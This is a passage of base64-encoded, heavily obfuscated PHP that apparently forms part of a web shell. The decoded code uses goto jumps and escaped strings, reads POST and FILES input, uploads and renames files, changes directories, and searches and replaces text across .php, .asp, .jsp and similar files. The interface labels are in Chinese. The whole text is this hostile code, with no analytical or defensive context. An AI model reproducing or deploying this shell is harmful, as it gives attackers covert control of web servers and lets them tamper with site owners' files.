lxceDNlXFw3NFxcMTY0XFx4NjRcXHgzZVxceGU2XFwyMjBcXDIzNFxcMzQ3XFx4YjRcXDI0MlxceGU2XFx4OTZcXHhiOVxcMzQ1XFx4YmNcXHg4ZlxceDNjXFx4MmZcXHg3NFxceDY0XFx4M2VcXDc0XFx4NzRcXHg2NFxceDNlXFx4M2NcXDE1NFxcMTQxXFwxNDJcXHg2NVxceDZjXFx4M2VcXHgzY1xceDY5XFwxNTZcXDE2MFxcMTY1XFx4NzRcXDQwXFwxNjRcXDE3MVxceDcwXFwxNDVcXHgzZFxcNDJcXHg3MlxcMTQxXFx4NjRcXDE1MVxceDZmXFw0MlxceDIwXFwxNTZcXDE0MVxceDZkXFwxNDVcXHgzZFxceDIyXFx4NzRcXHg3OVxcMTYwXFx4NjVcXDQyXFx4MjBcXDE2NlxcMTQxXFwxNTRcXDE2NVxcMTQ1XFw3NVxceDIyXFx4MzBcXHgyMlwiIC4gKCFlbXB0eSgkX1BPU1RbXCJcXHg3NFxceDc5XFx4NzBcXHg2NVwiXSkgPyAnJyA6IFwiXFw0MFxceDYzXFx4NjhcXDE0NVxceDYzXFwxNTNcXDE0NVxceDY0XCIpIC4gXCJcXDc2XFwzNDZcXHg5MFxceDljXFwzNDdcXHhiNFxceGEyXFwzNDZcXHg5NlxcMjA3XFwzNDRcXDI3M1xceGI2XFx4ZTVcXDIyMFxceDhkXFx4M2NcXDU3XFwxNTRcXHg2MVxceDYyXFx4NjVcXDE1NFxceDNlXFx4MjBcIjsgZ290byBTSDZZTzsgdXBKUEI6ICRRU084ZiAuPSBcIlxceDNjXFx4NmNcXDE0MVxceDYyXFx4NjVcXDE1NFxcNzZcXDc0XFwxNTFcXHg2ZVxceDcwXFx4NzVcXDE2NFxceDIwXFwxNjRcXHg3OVxceDcwXFwxNDVcXHgzZFxceDIyXFx4NzJcXDE0MVxceDY0XFx4NjlcXHg2ZlxcNDJcXDQwXFwxNTZcXHg2MVxcMTU1XFwxNDVcXDc1XFw0MlxcMTYyXFwxNDFcXDE1NlxcMTQ3XFwxNDVcXDQyXFw0MFxceDc2XFx4NjFcXHg2Y1xcMTY1XFx4NjVcXHgzZFxcNDJcXHgzMVxceDIyXCIgLiAoIWVtcHR5KCRfUE9TVFtcIlxceDcyXFx4NjFcXDE1NlxcMTQ3XFwxNDVcIl0pID8gXCJcXHgyMFxcMTQzXFx4NjhcXDE0NVxceDYzXFwxNTNcXHg2NVxcMTQ0XCIgOiAnJykgLiBcIlxceDNlXFx4ZTRcXDI3M1xceDg1XFx4ZTVcXDI2MFxceDg2XFwzNDZcXDIyMFxceDljXFwzNDdcXHhiNFxcMjQyXFx4ZTVcXDI3MlxceDk0XFx4ZTdcXHg5NFxcMjUwXFx4ZTRcXHhiYVxceDhlXFwzNTBcXHhhZlxcMjQ1XFx4ZTZcXDIyNlxcMjA3XFwzNDRcXDI3M1xcMjY2XFx4ZTVcXDI0NFxceGI5XFw3NFxceDJmXFx4NmNcXDE0MVxceDYyXFwxNDVcXHg2Y1xcNzZcXHgzY1xcNTdcXHg3NFxcMTQ0XFw3NlxceDNjXFw1N1xceDc0XFx4NzJcXDc2XCI7IGdvdG8gVHliZG47IGNMOEZUOiAkUVNPOGYgLj0gXCJcXDc0XFwxNjRcXHg2MVxcMTQyXFwxNTRcXDE0NVxcNDBcXDE0M1xcMTU0XFx4NjFcXDE2M1xceDczXFw3NVxceDIyXFwxNjRcXHg2MVxceDYyXFx4NmNcXDE0NVxceDczXFx4MjJcXDc2XFw3NFxceDc0XFx4NzJcXDc2XFw3NFxcMTY0XFwxNTBcXHgyMFxcMTYzXFwxNjRcXHg3OVxcMTU0XFx4NjVcXDc1XFx4MjJcXDE2N1xcMTUxXFx4NjRcXHg3NFxcMTUwXFw3MlxcNjFcXDY1XFw0NVxceDNiXFw0MlxceDNlXFwzNDVcXDIyMFxcMjE1XFx4ZTdcXHhhN1xceGIwXFw3NFxcNTdcXHg3NFxceDY4XFw3NlxcNzRcXHg3NFxceDY4XFx4M2VcXHhlOFxceGFlXFx4YmVcXHhlN1xcMjc1XFx4YWVcXHgzY1xcNTdcXDE2NFxceDY4XFw3NlxcNzRcXHgyZlxceDc0XFx4NzJcXDc2XCI7IGdvdG8gUlZpaDU7IFhJekZZOiBmbHVzaCgpOyBnb3RvIHZKMzQ5OyBzWFV4VTogaWYgKCEoJHhzejdFICE9ICcnKSkgeyBnb3RvIGZtemYwOyB9IGdvdG8gWEl6Rlk7IFhTeXV4OiAkUVNPOGYgLj0gJEU1NnVtOyBnb3RvIHdxU0xvOyBId3dmVzogJGtLQ09DID0gaXNzZXQoJF9QT1NUW1wiXFx4NjZcXDE1MVxceDZjXFwxNjRcXHg2NVxcMTYyXFwxNjNcIl0pID8gY2hvcCgkX1BPU1RbXCJcXHg2NlxcMTUxXFx4NmNcXDE2NFxceDY1XFx4NzJcXDE2M1wiXSkgOiBcIlxceDY4XFwxNjRcXDE1NVxcMTU0XFx4N2NcXHg2M1xceDczXFx4NzNcXHg3Y1xcMTUxXFwxNTVcXDE0N1xcMTc0XFwxNTFcXDE1NVxcMTQxXFwxNDdcXHg2NVxceDczXFx4N2NcXHg2OVxceDZkXFx4NjFcXDE0N1xcMTQ1XFx4N2NcXHg3M1xceDc0XFwxNzFcXDE1NFxcMTQ1XFwxNzRcXDE1MlxcMTYzXCI7IGdvdG8gdHpuUDA7IFVoenVfOiAkUVNPOGYgLj0gYXhUdHEoKTsgZ290byBjdEtxajsgZ3NRQVI6ICRRU084ZiAuPSBcIlxcNzRcXHg3NFxceDcyXFw3NlxcNzRcXDE2NFxceDY0XFx4M2VcXHhlNlxcMjIwXFwyMzRcXHhlN1xceGI0XFwyNDJcXDM1MFxcMjE0XFwyMDNcXHhlNVxceDliXFx4YjRcXDc0XFw1N1xcMTY0XFwxNDRcXHgzZVxcNzRcXHg3NFxcMTQ0XFx4M2VcXHgzY1xcMTU0XFx4NjFcXDE0MlxceDY1XFx4NmNcXDc2XFw3NFxcMTUxXFwxNTZcXHg3MFxcMTY1XFwxNjRcXDQwXFwxNjRcXDE3MVxceDcwXFwxNDVcXHgzZFxceDIyXFx4NzJcXDE0MVxceDY0XFwxNTFcXHg2ZlxcNDJcXHgyMFxceDZlXFwxNDFcXDE1NVxceDY1XFx4M2RcXHgyMlxceDcyXFx4NjFcXDE1NlxcMTQ3XFwxNDVcXDQyXFw0MFxceDc2XFwxNDFcXDE1NFxcMTY1XFwxNDVcXHgzZFxcNDJcXHgzMFxcNDJcIiAuICghZW1wdHkoJF9QT1NUW1wiXFx4NzJcXDE0MVxceDZlXFx4NjdcXDE0NVwiXSkgPyAnJyA6IFwiXFw0MFxcMTQzXFx4NjhcXDE0NVxceDYzXFwxNTNcXHg2NVxceDY0XCIpIC4gXCJcXDc2XFwzNDVcXHhiMFxcMjA2XFx4ZTZcXHg5MFxceDljXFwzNDdcXHhiNFxcMjQyXFwzNDVcXHhiYVxcMjI0XFx4ZTdcXDIyNFxcMjUwXFwzNDRcXHhiYVxcMjE2XFwzNTBcXHhhZlxceGE1XFx4ZTZcXDIyNlxcMjA3XFwzNDRcXDI3M1xceGI2XFwzNDVcXHhhNFxcMjcxXFx4MmNcXHhlNVxceGFkXFwyMjBcXHhlNlxceDk2XFwyMDdcXDM0NFxcMjczXFx4YjZcXDM0NVxcMjQ0XFx4YjlcXDM0NVxcMjIyXFx4OGNcXHhlNlxceDk2XFwyMDdcXDM0NFxcMjczXFx4YjZcXHgzY1xceDJmXFwxNTRcXDE0MVxceDYyXFwxNDVcXDE1NFxceDNlXFx4MjBcIjsgZ290byB1cEpQQjsgWVc5eVU6ICRxR0xfUCA9IGlzc2V0KCRfUE9TVFtcIlxcMTUxXFwxNTZcXHg2M1xcMTU0XFwxNjVcXHg2NFxceDY1XCJdKSA/IGNob3AoJF9QT1NUW1wiXFwxNTFcXHg2ZVxceDYzXFx4NmNcXHg3NVxcMTQ0XFx4NjVcIl0pIDogXCJcXHgyZVxceDcwXFx4NjhcXDE2MFxceDdjXFw1NlxceDYxXFx4NzNcXDE2MFxceDdjXFw1NlxcMTQxXFx4NzNcXDE0MVxceDdjXFw1NlxcMTQzXFwxNDVcXHg3MlxceDdjXFw1NlxceDYxXFwxNjNcXHg3MFxcMTcwXFx4N2NcXHgyZVxceDZhXFx4NzNcXHg3MFxceDdjXFx4MmVcXDE0M1xceDY3XFx4NjlcXDE3NFxcNTZcXHg3M1xcMTUwXFx4N2NcXHgyZVxcMTYwXFwxNTRcXDE3NFxceDJlXFwxNjBcXDE3MVwiOyBnb3RvIEh3d2ZXOyBlMDBLWTogJEU1NnVtID0gRHFSOXIocEJtMDcoJFVsaWNGIC4gXCJcXHgyZlwiKSwgJHhzejdFLCAkdDZTT1IsICR4OThSUywgIWVtcHR5KCRfUE9TVFtcIlxcMTY0XFx4NzlcXDE2MFxcMTQ1XCJdKSA/ICRfUE9TVFtcIlxceDc0XFwxNzFcXDE2MFxcMTQ1XCJdIDogJycsICFlbXB0eSgkX1BPU1RbXCJcXHg2M1xceDY4XFwxNDFcXHg3MlwiXSkgPyAkX1BPU1RbXCJcXHg2M1xcMTUwXFx4NjFcXHg3MlwiXSA6ICcnLCAhZW1wdHkoJF9QT1NUW1wiXFx4NzJcXDE0MVxcMTU2XFwxNDdcXDE0NVwiXSkgPyAkX1BPU1RbXCJcXDE2MlxceDYxXFwxNTZcXHg2N1xceDY1XCJdIDogJycsICRKendyYSk7IGdvdG8gWFN5dXg7IE5Hd0JLOiAkeDk4UlMgPSAka0tDT0MgPT0gJycgPyBmYWxzZSA6IGV4cGxvZGUoXCJcXDE3NFwiLCAka0tDT0MpOyBnb3RvIGUwMEtZOyB4OGN5djogJFFTTzhmIC49IFwiXFx4M2NcXDE2NFxcMTYyXFx4M2VcXDc0XFwxNjRcXDE0NFxceDNlXFx4ZTZcXHg5NlxceDg3XFx4ZTRcXDI3M1xcMjY2XFwzNDVcXHg5MFxceDhlXFwzNDdcXDI3NFxcMjAwXFw3NFxcNTdcXHg3NFxcMTQ0XFx4M2VcXHgzY1xcMTY0XFwxNDRcXDc2XFw3NFxcMTUxXFx4NmVcXDE2MFxcMTY1XFx4NzRcXDQwXFwxNjRcXHg3OVxcMTYwXFx4NjVcXDc1XFw0MlxcMTY0XFx4NjVcXHg3OFxceDc0XFw0MlxceDIwXFwxNTZcXDE0MVxceDZkXFwxNDVcXHgzZFxceDIyXFwxNTFcXDE1NlxcMTQzXFwxNTRcXHg3NVxcMTQ0XFwxNDVcXDQyXFw0MFxcMTY2XFwxNDFcXHg2Y1xceDc1XFx4NjVcXHgzZFxcNDJcIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHFHTF9QKSAuIFwiXFw0MlxceDIwXFx4NzNcXHg3NFxcMTcxXFx4NmNcXHg2NVxceDNkXFw0MlxceDc3XFx4NjlcXHg2NFxcMTY0XFx4NjhcXDcyXFx4MzVcXHgzMFxcNjBcXHg3MFxceDc4XFw3M1xceDIyXFw3NlxceDIwXFw1MFxcMzQ3XFx4OTRcXHhhOFxcNDJcXDE3NFxcNDJcXHhlNVxcMjEwXFx4ODZcXHhlNVxcMjExXFx4YjJcXDU0XFx4MjBcXHhlNFxceGI4XFx4YmFcXDM0N1xcMjUxXFwyNzJcXDM0NVxceDg4XFwyMzFcXDM0NlxcMjIwXFx4OWNcXHhlN1xcMjY0XFwyNDJcXDM0NlxcMjExXFwyMDBcXHhlNlxceDljXFwyMTFcXDM0NlxcMjI2XFwyMDdcXHhlNFxcMjczXFwyNjZcXHgyOVxcNzRcXDU3XFx4NzRcXDE0NFxcNzZcXHgzY1xceDJmXFx4NzRcXHg3MlxceDNlXCI7IGdvdG8gZ1BhY0s7IHpCcEFVOiAkUVNPOGYgLj0gXCJcXDc0XFx4NzRcXDE2MlxcNzZcXHgzY1xcMTY0XFx4NjRcXDc2XFx4ZTZcXHg5MFxceDljXFx4ZTdcXHhiNFxceGEyXFx4ZTVcXHg4NlxcMjA1XFx4ZTVcXHhhZVxcMjcxXFw3NFxceDJmXFwxNjRcXHg2NFxceDNlXFx4M2NcXHg3NFxceDY0XFw3NlxcNzRcXDE1MVxceDZlXFwxNjBcXDE2NVxcMTY0XFw0MFxceDc0XFwxNzFcXDE2MFxcMTQ1XFx4M2RcXHgyMlxceDc0XFx4NjVcXDE3MFxceDc0XFw0MlxcNDBcXHg2ZVxceDYxXFwxNTVcXHg2NVxcNzVcXHgyMlxceDZiXFwxNDVcXDE3MVxcMTY3XFx4NmZcXHg3MlxcMTQ0XFx4MjJcXDQwXFx4NzZcXHg2MVxcMTU0XFwxNjVcXHg2NVxcNzVcXHgyMlwiIC4gaHRtbHNwZWNpYWxjaGFycygkeHN6N0UpIC4gXCJcXHgyMlxceDIwXFwxNjNcXHg3NFxceDc5XFwxNTRcXDE0NVxcNzVcXHgyMlxceDc3XFx4NjlcXHg2NFxcMTY0XFx4NjhcXHgzYVxceDM1XFx4MzBcXHgzMFxceDcwXFwxNzBcXHgzYlxcNDJcXDc2XFx4MjBcXDUwXFx4ZTZcXDIyNlxcMjA3XFwzNDRcXHhiYlxcMjY2XFx4ZTVcXDIyMFxceDhkXFx4ZTZcXHg4OFxceDk2XFx4ZTZcXDIyNlxcMjA3XFx4ZTRcXHhiYlxceGI2XFwzNDVcXDIwNlxcMjA1XFx4ZTVcXDI1NlxcMjcxXFx4MjlcXDc0XFx4MmZcXHg3NFxcMTQ0XFx4M2VcXHgzY1xceDJmXFx4NzRcXDE2MlxcNzZcIjsgZ290byB4OGN5djsgZ1BhY0s6ICRRU084ZiAuPSBcIlxceDNjXFx4NzRcXHg3MlxceDNlXFx4M2NcXHg3NFxcMTQ0XFw3NlxceGU4XFwyNzdcXDIwN1xcMzQ2XFx4YmJcXHhhNFxceGU3XFx4OWJcXHhhZVxcMzQ1XFwyNzVcXDIyNVxcNzRcXHgyZlxceDc0XFx4NjRcXDc2XFw3NFxcMTY0XFwxNDRcXHgzZVxceDNjXFwxNTFcXHg2ZVxcMTYwXFx4NzVcXHg3NFxcNDBcXHg3NFxceDc5XFx4NzBcXHg2NVxceDNkXFx4MjJcXDE2NFxceDY1XFwxNzBcXHg3NFxcNDJcXHgyMFxceDZlXFx4NjFcXDE1NVxcMTQ1XFx4M2RcXHgyMlxcMTQ2XFwxNTFcXDE1NFxceDc0XFwxNDVcXDE2MlxceDczXFw0MlxcNDBcXHg3NlxcMTQxXFx4NmNcXDE2NVxceDY1XFw3NVxcNDJcIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGtLQ09DKSAuIFwiXFx4MjJcXHgyMFxceDczXFwxNjRcXDE3MVxceDZjXFx4NjVcXHgzZFxcNDJcXHg3N1xceDY5XFwxNDRcXDE2NFxceDY4XFw3MlxceDM1XFw2MFxcNjBcXDE2MFxceDc4XFx4M2JcXHgyMlxcNzZcXHgyMFxceDI4XFx4ZTdcXHg5NFxcMjUwXFx4MjJcXHg3Y1xceDIyXFx4ZTVcXHg4OFxcMjA2XFwzNDVcXDIxMVxcMjYyXFx4MmNcXDQwXFx4ZTRcXHhiOFxceGJhXFwzNDdcXDI1MVxcMjcyXFx4ZTVcXDIxMFxcMjMxXFwzNDRcXDI3MFxcMjE1XFx4ZThcXDI3N1xceDg3XFwzNDZcXDI3M1xcMjQ0XFwzNDdcXHg5YlxceGFlXFwzNDVcXDI3NVxceDk1XFx4MjlcXHgzY1xceDJmXFwxNjRcXDE0NFxcNzZcXDc0XFx4MmZcXHg3NFxceDcyXFw3NlwiOyBnb3RvIGhsU1htOyB0em5QMDogJFFTTzhmID0gJyc7IGdvdG8gbkRrU3Y7IHZKMzQ5OiBvYl9mbHVzaCgpOyBnb3RvIFJkdnpHOyB3cVNMbzogJFFTTzhmIC49IFwiXFx4M2NcXDE2MFxcNzZcIiAuICgkRTU2dW0gPyBcIlxceDNjXFx4NjhcXDYyXFw3NlxcMzQ2XFwyMjBcXHg5Y1xcMzQ3XFwyNjRcXDI0MlxcMzQ1XFx4YWVcXHg4Y1xcMzQ2XFx4ODhcXHg5MFxceDNjXFx4MmZcXHg2OFxceDMyXFw3NlwiIDogXCJcXHgzY1xcMTUwXFw2MVxcNzZcXDM0NlxcMjIwXFwyMzRcXDM0N1xcMjY0XFx4YTJcXHhlNVxceGE0XFx4YjFcXDM1MFxcMjY0XFx4YTVcXDc0XFw1N1xcMTUwXFw2MVxcNzZcIikgLiBcIlxcNzRcXDU3XFx4NzBcXDc2XFx4M2NcXDU3XFwxNDRcXDE1MVxceDc2XFx4M2VcIjsgZ290byBGMEpWMzsgUlZpaDU6ICRRU084ZiAuPSBcIlxcNzRcXHg3NFxceDcyXFx4M2VcXDc0XFx4NzRcXHg2NFxceDNlXFx4ZTZcXHg5MFxceDljXFwzNDdcXDI2NFxcMjQyXFx4ZThcXHhiN1xcMjU3XFwzNDVcXDI3NlxceDg0XFx4M2NcXDU3XFwxNjRcXHg2NFxcNzZcXDc0XFwxNjRcXDE0NFxceDNlXFw3NFxceDY5XFwxNTZcXDE2MFxcMTY1XFwxNjRcXDQwXFx4NzRcXHg3OVxcMTYwXFx4NjVcXDc1XFw0MlxcMTY0XFwxNDVcXHg3OFxceDc0XFx4MjJcXDQwXFx4NmVcXHg2MVxceDZkXFwxNDVcXDc1XFx4MjJcXDE0NFxceDY5XFwxNjJcXDQyXFx4MjBcXHg3NlxcMTQxXFx4NmNcXHg3NVxcMTQ1XFx4M2RcXDQyXCIgLiBodG1sc3BlY2lhbGNoYXJzKCRVbGljRikgLiBcIlxcNDJcXDQwXFx4NzNcXDE2NFxceDc5XFx4NmNcXHg2NVxceDNkXFw0MlxcMTY3XFwxNTFcXHg2NFxceDc0XFx4NjhcXDcyXFw2NVxcNjBcXHgzMFxcMTYwXFx4NzhcXDczXFw0MlxceDNlXFx4M2NcXDU3XFwxNjRcXDE0NFxcNzZcXDc0XFx4MmZcXHg3NFxcMTYyXFw3NlwiOyBnb3RvIHpCcEFVOyBuRGtTdjogJFFTTzhmIC49IFwiXFw3NFxcMTQ0XFx4NjlcXDE2NlxcNDBcXDE0M1xceDZjXFwxNDFcXDE2M1xcMTYzXFw3NVxcNDJcXHg2ZFxcMTYzXFwxNDdcXHg2MlxcMTU3XFwxNzBcXHgyMlxcNzZcIiAuICRVZ0x6XyAuIFwiXFw3NFxcNTdcXHg2NFxceDY5XFx4NzZcXHgzZVwiOyBnb3RvIExQOHBDOyBSZHZ6RzogJFFTTzhmIC49IFwiXFx4M2NcXDE0NFxceDY5XFwxNjZcXDQwXFx4NzNcXDE2NFxcMTcxXFx4NmNcXHg2NVxcNzVcXDQyXFx4NzBcXHg2MVxcMTQ0XFwxNDRcXHg2OVxceDZlXFx4NjdcXDcyXFx4MzVcXDE2MFxcMTcwXFw3M1xceDYyXFx4NjFcXHg2M1xcMTUzXFx4NjdcXHg3MlxcMTU3XFwxNjVcXDE1NlxceDY0XFw3MlxceDIzXFx4NDZcXHgzOFxceDQ2XFw3MFxcMTA2XFw3MFxcNzNcXDE2NFxcMTQ1XFx4NzhcXDE2NFxceDJkXFwxNDFcXHg2Y1xceDY5XFwxNDdcXHg2ZVxcNzJcXHg2Y1xceDY1XFx4NjZcXHg3NFxcNzNcXHgyMlxcNzZcIjsgZ290byBDX2hleTsgaEg5WmY6IH0gcHVibGljIGZ1bmN0aW9uIGh2VldlKCkgeyBnb3RvIGZKMkRPOyBSRUNITzogJEozSG92ID0gUEJtMDcoJHRyeDduIC4gXCJcXDU3XCIgLiAkUVk1YW8pOyBnb3RvIHdyNnBmOyBCM0NBZDogJFFTTzhmIC49IFwiXFx4M2NcXHg2NFxcMTUxXFx4NzZcXHgyMFxcMTQzXFwxNTRcXDE0MVxcMTYzXFx4NzNcXDc1XFx4MjJcXHg2MVxcMTQzXFwxNjRcXHg2MVxceDZjXFwxNTRcXHgyMlxceDNlXFx4M2NcXHg3MFxcNzZcXDM0NFxceGI4XFwyMTJcXHhlNFxceGJjXFwyNDBcXHhlNVxcMjEwXFx4YjBcXDM0N1xceDliXFwyNTZcXHhlNVxceGJkXFx4OTVcXHgyMFxceDNjXFx4NjlcXDE1NlxceDcwXFwxNjVcXDE2NFxceDIwXFx4NzRcXHg3OVxcMTYwXFx4NjVcXHgzZFxceDIyXFx4NzRcXHg2NVxcMTcwXFx4NzRcXHgyMlxcNDBcXHg2ZVxceDYxXFwxNTVcXDE0NVxceDNkXFw0MlxceDc1XFwxNjBcXDE0NFxcMTUxXFwxNjJcXHgyMlxceDIwXFx4NzNcXHg3NFxcMTcxXFx4NmNcXDE0NVxcNzVcXHgyMlxceDc3XFx4NjlcXDE0NFxcMTY0XFx4NjhcXHgzYVxceDMzXFx4MzlcXDcwXFwxNjBcXDE3MFxceDNiXFx4MjJcXDQwXFwxNjZcXDE0MVxcMTU0XFx4NzVcXDE0NVxcNzVcXHgyMlwiIC4gJHRyeDduIC4gXCJcXDQyXFw3NlxceDNjXFx4MmZcXDE2MFxceDNlXCI7IGdvdG8gVEJBN0c7IHZzZTBZOiBpZiAoISgkVFFsTGFbXCJcXDE0NVxceDcyXFwxNjJcXDE1N1xcMTYyXCJdWyR1THRUZF0gPT0gVVBMT0FEX0VSUl9PSykpIHsgZ290byBGVTV1ZTsgfSBnb3RvIHU3Z1RBOyBlbnVlQTogaWYgKCEoJHVMdFRkIDwgJHlrbFJ0KSkgeyBnb3RvIHd3SUFkOyB9IGdvdG8gdnNlMFk7IGpjblhNOiAkdUx0VGQgPSAxOyBnb3RvIElnV1Q1OyBUQkE3RzogJHVMdFRkID0gMTsgZ290byBQOHFWeDsgZ0lwYTg6ICR5a2xSdCA9IDEwOyBnb3RvIEg1d1V3OyBwTGh4MTogZ290byBwd0dmUzsgZ290byBhSlVhRDsgbWY5cm46IGlmICghKCR1THRUZCA8ICR5a2xSdCkpIHsgZ290byBGTkhybTsgfSBnb3RvIHgwVnkwOyB4MFZ5MDogJFFTTzhmIC49IFwiXFx4M2NcXHg3MFxcNzZcXHhlOVxceDk5XFx4ODRcXDM0NFxcMjczXFwyNjZcIiAuICR1THRUZCAuIFwiXFw0MFxceDNjXFx4NjlcXHg2ZVxcMTYwXFx4NzVcXHg3NFxcNDBcXDE2NFxceDc5XFwxNjBcXDE0NVxcNzVcXDQyXFx4NjZcXHg2OVxceDZjXFx4NjVcXDQyXFw0MFxcMTU2XFx4NjFcXHg2ZFxceDY1XFx4M2RcXDQyXFwxNjVcXHg3MFxceDZjXFx4NmZcXHg2MVxcMTQ0XFx4NzNcXHg1YlwiIC4gJHVMdFRkIC4gXCJcXHg1ZFxceDIyXFw0MFxcMTYzXFwxNjRcXDE3MVxceDZjXFx4NjVcXHgzZFxcNDJcXDE2N1xcMTUxXFwxNDRcXHg3NFxceDY4XFw3MlxceDMzXFx4MzBcXHgzMFxceDcwXFx4NzhcXHgzYlxcNDJcXHgzZVxcNDBcXHhlOVxcMjA3XFwyMTVcXHhlNVxceDkxXFx4YmRcXDM0NVxcMjIwXFwyMTVcXHgyMFxceDNjXFx4NjlcXHg2ZVxceDcwXFx4NzVcXDE2NFxceDIwXFx4NzRcXHg3OVxcMTYwXFwxNDVcXDc1XFx4MjJcXDE2NFxceDY1XFx4NzhcXDE2NFxceDIyXFx4MjBcXDE1NlxcMTQxXFx4NmRcXHg2NVxcNzVcXDQyXFx4NzJcXDE0NVxcMTU2XFx4NjFcXDE1NVxcMTQ1XFwxNjNcXDEzM1wiIC4gJHVMdFRkIC4gXCJcXDEzNVxceDIyXFx4MjBcXHg3M1xcMTY0XFwxNzFcXDE1NFxceDY1XFx4M2RcXHgyMlxcMTY3XFwxNTFcXHg2NFxceDc0XFwxNTBcXHgzYVxcNjFcXDYyXFw3MFxcMTYwXFwxNzBcXHgzYlxceDIyXFw3NlxceDIwXCIgLiAoIWVtcHR5KCRKR04zalskdUx0VGRdKSA/ICRKR04zalskdUx0VGRdIDogJycpIC4gXCJcXDc0XFx4MmZcXDE2MFxcNzZcIjsgZ290byBSc29lUzsgQ2xLRk46ICR1THRUZCsrOyBnb3RvIHBMaHgxOyBueVVCczogZ290byBwa2JpMDsgZ290byBZOTZKMjsgU1k1TnQ6IGlmICghKGlzc2V0KCRfRklMRVNbXCJcXHg3NVxcMTYwXFwxNTRcXHg2ZlxceDYxXFx4NjRcXDE2M1wiXSkgJiYgaXNzZXQoJF9QT1NUW1wiXFwxNjJcXDE0NVxcMTU2XFwxNDFcXHg2ZFxceDY1XFx4NzNcIl0pKSkgeyBnb3RvIG5US2VfOyB9IGdvdG8gbFk0WVI7IENIVDJROiAkUVNPOGYgLj0gQVhUVFEoKTsgZ290byBEMkk0XzsgTG9ib3Y6ICRRU084ZiAuPSBcIlxceDNjXFwxNDRcXDE1MVxcMTY2XFw0MFxceDYzXFx4NmNcXDE0MVxcMTYzXFx4NzNcXDc1XFx4MjJcXHg2ZFxcMTYzXFx4NjdcXDE0MlxcMTU3XFx4NzhcXHgyMlxceDNlXCIgLiAkVWdMel8gLiBcIlxceDNjXFx4MmZcXHg2NFxceDY5XFwxNjZcXHgzZVwiOyBnb3RvIE1CMUlFOyBkcVJzOTogJFFTTzhmID0gJyc7IGdvdG8gTG9ib3Y7IEh5WHlOOiAkUVNPOGYgLj0gXCJcXDc0XFwxNDZcXDE1N1xceDcyXFx4NmRcXHgyMFxceDZlXFx4NjFcXHg2ZFxcMTQ1XFw3NVxcNDJcXDE0MlxceDYxXFx4NjNcXDE1M1xceDY2XFwxNjJcXDE1NVxcNDJcXDQwXFx4NjlcXDE0NFxcNzVcXHgyMlxceDYyXFx4NjFcXDE0M1xceDZiXFx4NjZcXDE2MlxcMTU1XFw0MlxcNDBcXDE1NVxcMTQ1XFwxNjRcXDE1MFxceDZmXFwxNDRcXHgzZFxcNDJcXHg1MFxcMTE3XFwxMjNcXDEyNFxceDIyXFw3NlxcNzRcXHg2OVxceDZlXFwxNjBcXDE2NVxcMTY0XFw0MFxcMTY0XFx4NzlcXDE2MFxceDY1XFw3NVxceDIyXFx4NjhcXHg2OVxcMTQ0XFx4NjRcXDE0NVxcMTU2XFx4MjJcXDQwXFwxNTZcXDE0MVxceDZkXFx4NjVcXDc1XFx4MjJcXDE0N1xcMTU3XFw0MlxcNDBcXHg3NlxceDYxXFwxNTRcXDE2NVxcMTQ1XFw3NVxcNDJcXHgyMlxcNzZcXDc0XFwxNTFcXHg2ZVxceDcwXFx4NzVcXHg3NFxcNDBcXDE2NFxceDc5XFwxNjBcXDE0NVxceDNkXFw0MlxceDY4XFx4NjlcXDE0NFxcMTQ0XFx4NjVcXDE1NlxceDIyXFw0MFxcMTU2XFx4NjFcXHg2ZFxceDY1XFx4M2RcXDQyXFwxNDRcXDE1MVxcMTYyXFx4MjJcXHgyMFxcMTUxXFwxNDRcXDc1XFw0MlxceDY0XFx4NjlcXHg3MlxcNDJcXDQwXFwxNjZcXDE0MVxceDZjXFwxNjVcXDE0NVxcNzVcXDQyXCIgLiAkdHJ4N24gLiBcIlxceDIyXFx4M2VcIjsgZ290byBDSFQyUTsgRDJJNF86ICRRU084ZiAuPSBcIlxceDNjXFx4NjlcXDE1NlxcMTYwXFwxNjVcXDE2NFxcNDBcXDE2NFxceDc5XFx4NzBcXDE0NVxcNzVcXDQyXFx4NjJcXDE2NVxcMTY0XFwxNjRcXDE1N1xcMTU2XFw0MlxcNDBcXHg2ZlxcMTU2XFwxNDNcXHg2Y1xceDY5XFx4NjNcXHg2YlxcNzVcXDQyXFx4MjRcXHgyOFxcNDdcXDE0MlxcMTQxXFx4NjNcXHg2YlxceDY2XFwxNjJcXHg2ZFxceDI3XFw1MVxcNTZcXHg3M1xceDc1XFwxNDJcXDE1NVxceDY5XFwxNjRcXDUwXFw1MVxceDNiXFw0MlxcNDBcXDE2NlxcMTQxXFx4NmNcXHg3NVxcMTQ1XFx4M2RcXHgyMlxcMzUwXFx4YmZcXHg5NFxcMzQ1XFx4OWJcXHg5ZVxceDIyXFw0MFxcMTYzXFx4NzRcXHg3OVxceDZjXFwxNDVcXHgzZFxcNDJcXHg3N1xcMTUxXFwxNDRcXHg3NFxceDY4XFx4M2FcXHgzOFxcNjBcXDE2MFxcMTcwXFx4M2JcXHgyMlxceDNlXFx4M2NcXHgyZlxcMTQ2XFwxNTdcXDE2MlxcMTU1XFx4M2VcXDc0XFx4MmZcXHg2NFxcMTUxXFx4NzZcXHgzZVwiOyBnb3RvIFhOeWFZOyBSc29lUzogQ2Q1VHI6IGdvdG8gQ2xLRk47IEg1d1V3OiAkSkdOM2ogPSBhcnJheSgpOyBnb3RvIFNZNU50OyBZOTZKMjogd3dJQWQ6IGdvdG8geHJiSGk7IGQ2Y19XOiAkUVNPOGYgLj0gQVhUVFEoKTsgZ290byBtejF2bjsgZkoyRE86ICR0cng3biA9IGlzc2V0KCRfUE9TVFtcIlxcMTY1XFx4NzBcXDE0NFxcMTUxXFwxNjJcIl0pID8gJF9QT1NUW1wiXFwxNjVcXHg3MFxceDY0XFx4NjlcXDE2MlwiXSA6ICRfUE9TVFtcIlxcMTQ3XFwxNTdcXHg2NFxcMTUxXFx4NzJcIl07IGdvdG8gcEpJcno7IFhOeWFZOiByZXR1cm4gJFFTTzhmOyBnb3RvIFdyNWJBOyB1N2dUQTogJFFZNWFvID0gJF9QT1NUW1wiXFx4NzJcXDE0NVxceDZlXFx4NjFcXDE1NVxcMTQ1XFwxNjNcIl1bJHVMdFRkXSA9PSAnJyA/ICRUUWxMYVtcIlxceDZlXFx4NjFcXDE1NVxceDY1XCJdWyR1THRUZF0gOiAkX1BPU1RbXCJcXDE2MlxcMTQ1XFx4NmVcXDE0MVxcMTU1XFwxNDVcXHg3M1wiXVskdUx0VGRdOyBnb3RvIE41elFhOyBQOHFWeDogcHdHZlM6I